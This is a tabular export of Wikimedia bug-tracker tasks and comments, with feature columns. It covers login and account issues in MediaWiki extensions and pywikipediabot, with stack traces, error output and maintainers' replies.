+260225,"Update ""Create account"" / ""login"" buttons in ConfirmAccount",OK,,,1381518702,,PHID-USER-bxp7xrbobtrp5o3q3swv,False,,,PHID-TASK-sf5vijvw3yef2xjc4qjj,task_subcomment,,True,c2,3,False,,,6,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0
+260220,"Update ""Create account"" / ""login"" buttons in ConfirmAccount","Please stop setting ""blocker"" severity for all of your bug reports. The meaning of blocker is defined here: https://www.mediawiki.org/wiki/Bugzilla/Fields#importance . This is obviously not a blocker at all.
+
+For the bug report itself, please provide a screenshot which icons you refer to.",,,1381263990,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-sf5vijvw3yef2xjc4qjj,task_subcomment,,True,c2,3,True,,,5,True,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,1,0,0,0,0,1,1,0,0,1,1,0,0,1,0,1,1,1,1,1,1,0,0,0
+57379,Watch CTA on UserLogin?,"2013-10-06 12:01:48 mw1053 enwiki: [7b14de3f] /w/index.php?title=Special:UserLogin&action=submitlogin&type=signup&returnto=Special:UserLogin&returntoquery=article_action%3Dwatch   Exception from line 109 of /usr/local/apache/common-local/php-1.22wmf19/includes/WikiPage.php: Invalid or virtual namespace -1 given.
+#0 /usr/local/apache/common-local/php-1.22wmf19/includes/actions/WatchAction.php(124): WikiPage::factory(Object(Title))
+#1 /usr/local/apache/common-local/php-1.22wmf19/extensions/MobileFrontend/includes/MobileFrontend.hooks.php(427): WatchAction::doWatch(Object(Title), Object(User))
+#2 (): MobileFrontendHooks::onUserLoginComplete(Object(User), '<!-- do CentralAuth redirect -->')
+#3 /usr/local/apache/common-local/php-1.22wmf19/includes/Hooks.php(199): call_user_func_array('MobileFrontendHooks::onUserLoginComplete', Array)
+#4 /usr/local/apache/common-local/php-1.22wmf19/includes/GlobalFunctions.php(3898): Hooks::run('UserLoginComplete', Array)
+#5 /usr/local/apache/common-local/php-1.22wmf19/includes/specials/SpecialUserlogin.php(926): wfRunHooks('UserLoginComplete', Array)
+#6 /usr/local/apache/common-local/php-1.22wmf19/includes/specials/SpecialUserlogin.php(313): LoginForm->successfulCreation()
+#7 /usr/local/apache/common-local/php-1.22wmf19/includes/specials/SpecialUserlogin.php(200): LoginForm->addNewAccount()
+#8 /usr/local/apache/common-local/php-1.22wmf19/extensions/MobileFrontend/includes/specials/SpecialMobileUserlogin.php(15): LoginForm->execute(NULL)
+#9 /usr/local/apache/common-local/php-1.22wmf19/includes/SpecialPage.php(631): SpecialMobileUserlogin->execute(NULL)
+#10 /usr/local/apache/common-local/php-1.22wmf19/includes/SpecialPageFactory.php(489): SpecialPage->run(NULL)
+#11 /usr/local/apache/common-local/php-1.22wmf19/includes/Wiki.php(291): SpecialPageFactory::executePath(Object(Title), Object(RequestContext))
+#12 /usr/local/apache/common-local/php-1.22wmf19/includes/Wiki.php(591): MediaWiki->performRequest()
+#13 /usr/local/apache/common-local/php-1.22wmf19/includes/Wiki.php(460): MediaWiki->main()
+#14 /usr/local/apache/common-local/php-1.22wmf19/index.php(55): MediaWiki->run()
+#15 /usr/local/apache/common-local/w/index.php(3): require('/usr/local/apache/common-local/php-1.22wmf19/index.php')
+#16 {main}
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1381089840,1381522464.0,PHID-USER-aasrweh54ew7py3agvg2,False,,False,PHID-TASK-cpvfvjugkz42a3j3tbvz,task_description,resolved,True,c2,3,False,False,True,5,True,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,1,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1
+278496,Watch CTA on UserLogin?,https://gerrit.wikimedia.org/r/#/c/89108/ fixes this,,,1381522464,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-cpvfvjugkz42a3j3tbvz,task_subcomment,,True,c2,3,False,,,6,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+278490,Watch CTA on UserLogin?,"**bingle-admin** wrote:
+
+Prioritization and scheduling of this bug is tracked on Mingle card https://wikimedia.mingle.thoughtworks.com/projects/mobile/cards/1291",,,1381089925,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-cpvfvjugkz42a3j3tbvz,task_subcomment,,True,c2,3,False,,,5,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+57368,HTTPS opt-out does not work on de.wikipedia,"Although the ""Always use a secure connection when logged in"" check box is unchecked, de.wikipedia uses secure protocol for some users and also each explicit http page request is redirected to https.
+
+https://de.wikipedia.org/wiki/Wikipedia:FZW#Sichere_Anmeldung
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: normal",Needs Triage,90.0,1381071120,1381072702.0,PHID-USER-vvufz7opk2hhimdzyznx,False,,False,PHID-TASK-wrs444kj7qy2k3b5fxfh,task_description,resolved,True,c2,3,False,False,True,5,True,1,0,0,1,0,1,1,0,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,1,1,1,0,0,0,0,0
+277717,HTTPS opt-out does not work on de.wikipedia,"
+
+%%%*** This bug has been marked as a duplicate of bug 54626 ***%%%",,,1381072702,,PHID-USER-jfiw563ca4r5mxfkj4vx,False,,,PHID-TASK-wrs444kj7qy2k3b5fxfh,task_subcomment,,True,c2,3,False,,,5,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0
+57285,Login no longer available,"Originally from: http://sourceforge.net/p/pywikipediabot/bugs/1136/
+Reported by: Anonymous user
+Created on: 2010-03-09 13:34:43
+Subject: Login no longer available
+Original description:
+I get the following errors when using a known good user-config.py and family configurations for an SVN checkout of 2009-11-05. This is for a local wiki. 
+
+Using 2010-03-09, I get the following error on Ubuntu 9.04 \(Python 2.6.2\) and Ubuntu 8.04 \(Python 2.5.2\): 
+Logging into FamilyName:en as UserName via API
+
+Error downloading data: No JSON object could be decoded
+Request: en:/scriptpath/api.php?
+Retrying in 1 minutes.... \(I changed line 152 of query.py to retry\_idle\_time\*0.01 so I could see the dump without growing a beard first\)
+
+Dump output: 
+
+Error reported: No JSON object could be decoded
+127.0.0.1
+/hcrscript/api.php?
+
+\{""login"":\{""result"":""Success"",""lguserid"":3,""lgusername"":""UserName"",""lgtoken"":""2b448df9379b445c225c0a5c1d3af18b"",""cookieprefix"":""DatabaseName"",""sessionid"":""3dd4cc3dd33236b57da8234d2f73e6d3""\}\}
+
+on Ubuntu 9.04:
+
+python version.py
+Pywikipedia \[http\] trunk/pywikipedia \(r7983, 2010/03/09, 08:14:34\)
+Python 2.6.2 \(release26-maint, April 19, 2009, 01:56:41\) 
+\[GCC 4.3.3\]
+
+also broken on Ubuntu 8.04
+
+python version.py
+Pywikipedia \[http\] trunk/pywikipedia \(r7983, 2010/03/09, 08:14:34\)
+Python 2.5.2 \(r252:60911, Jul 22 2009, 15:35:03\) 
+\[GCC 4.2.4 \(Ubuntu 4.2.4-1ubuntu3\)\]
+
+
+But it seems to work fine on this system: 
+
+foreignhost:pywikipedia-2010-03-09 alex$ python version.py
+Pywikipedia \[http\] trunk/pywikipedia \(r7983, 2010/03/09, 08:14:34\)
+Python 2.5.2 \(r252:60911, Feb 22 2008, 07:57:53\) 
+\[GCC 4.0.1 \(Apple Computer, Inc. build 5363\)\]
+
+Any ideas what's happening?
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://sourceforge.net/p/pywikipediabot/bugs/1136",Needs Triage,90.0,1380949020,1387787351.0,PHID-USER-v7vgzvvcw7v2umf737ri,False,,False,PHID-TASK-6ezj4fmszkxkz2w6ijdo,task_description,declined,True,c2,3,False,False,False,5,True,1,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,1,1,1,0,0,1,0,1,1,1,1,1,0,1,0,1,1,1,0,1,1,0,0,0,0,0,1,1,1,0,1,0,1,0,1,1,1,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,1,1,1,0,1,1,0,1
+273086,Login no longer available,I mark it as resolved/worksforme. Maybe it is outdated. Please feel free to reopen this bug if it is still valid with the current pwb release.,,,1387787351,,PHID-USER-xezsyhikbr7hjrig2ofp,False,,,PHID-TASK-6ezj4fmszkxkz2w6ijdo,task_subcomment,,True,c2,3,True,,,16,True,0,0,0,1,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+273077,Login no longer available,Might be outdated.,,,1381757711,,PHID-USER-xezsyhikbr7hjrig2ofp,False,,,PHID-TASK-6ezj4fmszkxkz2w6ijdo,task_subcomment,,True,c2,3,True,,,6,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+273070,Login no longer available,"&gt;&gt;&gt; json.\_\_author\_\_, json.\_\_name\_\_, json.\_\_version\_\_, json.\_\_package\_\_, json.\_\_path\_\_
+\('Bob Ippolito &lt;bob@redivi.com&gt;', 'json', '1.9', 'json', \['/usr/lib/python2.6/json'\]\)
+
+
+?
+
+Probably there is something wrong with the json libraries, but I wonder what...",,,1380949038,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-6ezj4fmszkxkz2w6ijdo,task_subcomment,,True,c2,3,False,,,5,True,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,1,1,1,1,1,0,1,0,1,0,0,0,0,0,0
+57232,login.all always asks for password,"Originally from: http://sourceforge.net/p/pywikipediabot/bugs/1360/
+Reported by: nakor-wikipedia
+Created on: 2011-10-14 14:23:06
+Subject: login.all always asks for password
+Original description:
+When calling
+
+login.py -all -pass
+
+the script first asks for a password and then asks for password for every sinmgle wiki site:
+
+login.py -all  -pass
+Password for all accounts: 
+Password for user Almabot on mediawiki:mediawiki: 
+....
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://sourceforge.net/p/pywikipediabot/bugs/1360",Needs Triage,90.0,1380948420,1399300450.0,PHID-USER-v7vgzvvcw7v2umf737ri,False,,False,PHID-TASK-x4zx43o5jogulf5ohnll,task_description,invalid,True,c2,3,False,False,False,5,True,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,1,0,1,0,0,1
+270248,login.all always asks for password,Please don't post your message on several bugs.,,,1399300450,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-x4zx43o5jogulf5ohnll,task_subcomment,,True,c2,3,False,,,35,True,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+270241,login.all always asks for password,"# C:\Pywikipedia>login.py
+# Password for user AbshirBot on wikipedia:so
+# No characters will be shown:*********
+# Logging in to wikipedia:so as AbshirBot via API.
+# Should be logged in now
+# 
+# C:\Pywikipedia>welcome.py
+# Querying new user log from API....
+# [Skip ] User been created automatically.
+# [Skip ] User been created automatically.
+# [Skip ] User has been created automatically.
+# [NoAct] User Mohamed Ahmed has no contributions.
+# [Skip ] User has been created automatically.
+# [Match] User has enough edits to be welcomed.
+# Password for user AbshirBot on wikipedia:so
+# No characters will be shown:
+# Password for user AbshirBot on wikipedia:so
+# No characters will be shown:
+# Logging in to wikipedia:so as AbshirBot via API.
+
+Could someone help me what i told the above, the problem is every time I log in my User-Bot still requires the password if I continue to rewrite password, my IP address be recorded publicly visible in [[so:Special:RecentChanges]] as someone who is not registered.
+
+Please, tell me things that I can do. Thanks....",,,1399299900,,PHID-USER-pzpng2elqrbnhuroddar,False,,,PHID-TASK-x4zx43o5jogulf5ohnll,task_subcomment,,True,c2,3,False,,,35,True,1,1,0,1,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,1,1,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,0,0,1,1,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,0,1,1,0,0,1
+270233,login.all always asks for password,I'd like to but there is no version.py script in pywikibot,,,1380948480,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-x4zx43o5jogulf5ohnll,task_subcomment,,True,c2,3,False,,,5,True,0,0,0,0,0,0,1,0,0,0,1,1,0,0,1,1,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+270226,login.all always asks for password,Please post your user-config.py and the output of python version.py.,,,1380948478,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-x4zx43o5jogulf5ohnll,task_subcomment,,True,c2,3,False,,,5,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1
+57183,interwiki and login errors on en.wiki,"Originally from: http://sourceforge.net/p/pywikipediabot/bugs/1488/
+Reported by: reza1615
+Created on: 2012-07-08 12:29:13
+Subject: interwiki and login errors on en.wiki
+Assigned to: xqt
+Original description:
+my bot \(Rezabot\)  has a flag on en.wiki and it is not blocked there but it couldn't edit on there
+
+
+File ""interwiki.py"", line 2296, in run
+self.queryStep\(\)
+File ""interwiki.py"", line 2274, in queryStep
+subj.finish\(self\)
+File ""interwiki.py"", line 1723, in finish
+if self.replaceLinks\(page, new, bot\):
+File ""interwiki.py"", line 1961, in replaceLinks
+status, reason, data = page.put\(newtext, comment=mcomment\)
+File ""/home/reza/pywikipedia/wikipedia.py"", line 2024, in put
+newPage, self.site\(\).getToken\(sysop = sysop\), sysop = sysop, botflag=botflag, maxTries=maxTries\)
+File ""/home/reza/pywikipedia/wikipedia.py"", line 2143, in \_putPage
+self.site\(\).checkBlocks\(sysop = sysop\)
+File ""/home/reza/pywikipedia/wikipedia.py"", line 5461, in checkBlocks
+raise UserBlocked\('User is blocked in site %s' % self\)
+pywikibot.exceptions.UserBlocked: User is blocked in site wikipedia:en
+
+
+also my bots name is listed on  \[\[Wikipedia:Bots/Status\]\] bot iterwiki code  says it's name is not in the list\!
+
+--------------------------
+**Version**: compat-(1.0)
+**Severity**: normal
+**See Also**:
+https://sourceforge.net/p/pywikipediabot/bugs/1488",Needs Triage,90.0,1380947880,1406195024.0,PHID-USER-v7vgzvvcw7v2umf737ri,False,,False,PHID-TASK-skkozb6q44n7yl4aqqlr,task_description,invalid,True,c2,3,False,False,False,5,True,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,1,0,0,1,0,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,0,1,0,1,1,0,1,0,0,0,0,1
+267475,interwiki and login errors on en.wiki,Trying to run interwiki.py while not logged in returns this error that is completely valid,,,1406195024,,PHID-USER-ctchvhisqfvk4rz7nt7d,False,,,PHID-TASK-skkozb6q44n7yl4aqqlr,task_subcomment,,True,c2,3,False,,,47,True,0,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,1
+267469,interwiki and login errors on en.wiki,"my bot is edits on toolserver and toolserver ip is blocked and it edits by it's user name correctly 
+https://en.wikipedia.org/w/index.php?limit=50&tagfilter=&title=Special%3AContributions&contribs=user&target=rezabot&namespace=&tagfilter=&year=&month=-1
+
+I checked new update but it has the same error message
+also my bot is listed on Wikipedia:Bots/Status/active bots
+
+massage
+
+pywikipedia$ python login.py -lang:en
+Logging in to wikipedia:en as rezabot via API.
+Should be logged in now
+\*\*\* Your username is not listed on \[\[\[u'Wikipedia:Bots/Status/active bots', 'BotS'\]\]\].
+\*\*\* Please make sure you are allowed to use the robot before actually using it\!",,,1380947945,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-skkozb6q44n7yl4aqqlr,task_subcomment,,True,c2,3,False,,,5,True,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,1,0,0,1,1,1,0,1,0,1,1,0,0,0,1,0,0,1
+267465,interwiki and login errors on en.wiki,"- **labels**: 745455 --> login
+- **assigned_to**: nobody --> xqt",,,1380947943,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-skkozb6q44n7yl4aqqlr,task_subcomment,,True,c2,3,False,,,5,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1
+267462,interwiki and login errors on en.wiki,fix for NOTE: message done in r10446/r10447,,,1380947941,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-skkozb6q44n7yl4aqqlr,task_subcomment,,True,c2,3,False,,,5,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+267459,interwiki and login errors on en.wiki,"It looks like the bot's IP was blocked \[1\] and it seems the bot was editing as anonymous account. On the other hand I don't know why/how that \(bot working as IP\) happens. Could you check your bot's IP edits?
+
+The second message is due to the Botstatus templates has been moved into a subfolder. Will be fixed soon.
+
+\[1\]: http://en.wikipedia.org/wiki/Wikipedia:SOFTBLOCK\#Setting\_block\_options",,,1380947939,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-skkozb6q44n7yl4aqqlr,task_subcomment,,True,c2,3,False,,,5,True,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,1,1,0,0,1,0,0,1,1,0,1,0,0,0,1,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,1,1,0,1,0,0,0
+267456,interwiki and login errors on en.wiki,"thank you for your answer after new update the bot blocking error  is solved.:\) but still now it shows this massage.
+it should not show this because my bot is registered and flag in en.wiki
+
+the massage
+
+
+WARNING: Your account on wikipedia:en is blocked by Anomie.
+Reason: Softblock: Toolserver bots should not be editing logged out. Consult \[\[WT:BOTPOL\]\] for consensus discussion.
+Editing using this account will stop the run.
+
+NOTE: You have new messages on wikipedia:en
+Logging in to wikipedia:en as rezabot via API.
+Should be logged in now
+\*\*\* Your username is not listed on \[\[\[u'Wikipedia:Bots/Status', 'BotS'\]\]\].
+\*\*\* Please make sure you are allowed to use the robot before actually using it\!",,,1380947938,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-skkozb6q44n7yl4aqqlr,task_subcomment,,True,c2,3,False,,,5,True,0,0,0,1,1,1,0,1,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,1,1,1,1,1,1,1,0,0,1,1,0,0,1,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,0,0,1,1,1,0,1,0,1,0,0,0,0,1,0,0,1
+267453,interwiki and login errors on en.wiki,Also check to make sure you are still logged in. \(try running login.py and see if that fixes it.\),,,1380947936,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-skkozb6q44n7yl4aqqlr,task_subcomment,,True,c2,3,False,,,5,True,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,1
+267450,interwiki and login errors on en.wiki,could you try another edit with -v option to get mor output,,,1380947934,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-skkozb6q44n7yl4aqqlr,task_subcomment,,True,c2,3,False,,,5,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+267445,interwiki and login errors on en.wiki,- **summary**: error on en.wiki --> interwiki and login errors on en.wiki,,,1380947932,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-skkozb6q44n7yl4aqqlr,task_subcomment,,True,c2,3,False,,,5,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1
+57154,Can't login to wikisource.org,"Originally from: http://sourceforge.net/p/pywikipediabot/bugs/1572/
+Reported by: Anonymous user
+Created on: 2013-02-09 09:45:00
+Subject: Can't login to wikisource.org
+Original description:
+I would like to be able to edit Wikisource with pywikipediabot; unlike all the other wikis, http://wikisource.org/ does not redirect to http://en.wikisource.org/ and thus I cannot login to wikisource.org without playing with each script.
+
+The following was outputted when I tried
+family = 'wikisource'
+mylang = ''
+
+Traceback \(most recent call last\):
+File ""C:\Python27\pywikipedia1\redirect.py"", line 65, in &lt;module&gt;
+import wikipedia as pywikibot
+File ""C:\Python27\pywikipedia1\wikipedia.py"", line 8717, in &lt;module&gt;
+getSite\(noLogin=True\)
+File ""C:\Python27\pywikipedia1\pywikibot\support.py"", line 115, in wrapper
+return method\(\*\_\_args, \*\*\_\_kw\)
+File ""C:\Python27\pywikipedia1\wikipedia.py"", line 8471, in getSite
+\_sites\[key\] = Site\(code=code, fam=fam, user=user\)
+File ""C:\Python27\pywikipedia1\pywikibot\support.py"", line 115, in wrapper
+return method\(\*\_\_args, \*\*\_\_kw\)
+File ""C:\Python27\pywikipedia1\wikipedia.py"", line 5667, in \_\_init\_\_
+% \(self.\_\_code, self.\_\_family.name\)\)
+NoSuchSite: Language  does not exist in family wikisource
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://sourceforge.net/p/pywikipediabot/bugs/1572",Needs Triage,90.0,1380947640,1384635692.0,PHID-USER-v7vgzvvcw7v2umf737ri,False,,False,PHID-TASK-dhh37twcrmhqe6k4pknu,task_description,invalid,True,c2,3,False,False,True,5,True,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,0,0,1,0,0,1
+265878,Can't login to wikisource.org,closed per above,,,1384635692,,PHID-USER-43lnvui4hacyjrc2lflj,False,,,PHID-TASK-dhh37twcrmhqe6k4pknu,task_subcomment,,True,c2,3,False,,,11,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,1,1,1,0,0,0
+265874,Can't login to wikisource.org,"Suggested method works, please close or possibly add a note somewhere in the code? \(so people like me can see that they need to do '-'\)",,,1380947670,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-dhh37twcrmhqe6k4pknu,task_subcomment,,True,c2,3,False,,,5,True,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,1,1,0,1,0,0,1,1,0,0,0,0
+265870,Can't login to wikisource.org,"My mistake, I didn't see the suggested method.",,,1380947668,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-dhh37twcrmhqe6k4pknu,task_subcomment,,True,c2,3,False,,,5,True,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0
